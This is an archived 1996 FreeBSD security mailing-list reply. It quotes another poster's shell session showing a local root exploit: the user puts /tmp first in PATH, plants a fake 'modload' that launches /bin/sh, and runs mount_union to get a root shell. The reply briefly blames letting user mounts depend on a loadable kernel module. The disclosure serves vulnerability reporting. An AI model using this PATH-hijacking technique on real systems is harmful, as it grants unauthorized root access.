From owner-freebsd-security  Fri May 17 03:09:20 1996
Return-Path: owner-security
Received: (from root@localhost)
          by freefall.freebsd.org (8.7.3/8.7.3) id DAA04816
          for security-outgoing; Fri, 17 May 1996 03:09:20 -0700 (PDT)
Received: from terra.stack.urc.tue.nl (terra.stack.urc.tue.nl [131.155.140.128])
          by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id DAA04808
          for <freebsd-security@FreeBSD.org>; Fri, 17 May 1996 03:09:16 -0700 (PDT)
Received: from xaa.stack.urc.tue.nl (uucp@localhost) by terra.stack.urc.tue.nl (8.7.5) with UUCP id MAA05982; Fri, 17 May 1996 12:09:04 +0200 (MET DST)
Received: (from freebsd@localhost) by xaa.stack.urc.tue.nl (8.7.5/8.6.12) id MAA00566; Fri, 17 May 1996 12:06:00 +0200 (MET DST)
From: FreeBSD matters of Mark Huizer (xaa) <freebsd@xaa.stack.urc.tue.nl>
Message-Id: <199605171006.MAA00566@xaa.stack.urc.tue.nl>
Subject: Re: very bad
To: coredump@nervosa.com (invalid opcode)
Date: Fri, 17 May 1996 12:05:59 +0200 (MET DST)
Cc: freebsd-security@FreeBSD.org, jkh@time.cdrom.com
In-Reply-To: <Pine.BSF.3.91.960517004922.20464C-100000@onyx.nervosa.com> from invalid opcode at "May 17, 96 00:50:35 am"
Reply-To: xaa@stack.urc.tue.nl (Mark Huizer)
X-Mailer: ELM [version 2.4ME+ PL17 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-security@FreeBSD.org
X-Loop: FreeBSD.org
Precedence: bulk

> [coredump@onyx] ~> sh
> $ export PATH=/tmp:$PATH
> $ echo /bin/sh >/tmp/modload
> $ chmod +x /tmp/modload 
> $ mount_union /dir1 /dir2 
> # 
> # w
> 
Well... if you want to allow for user-mounts, you shouldn't let it be an lkm
is that so weird?

Mark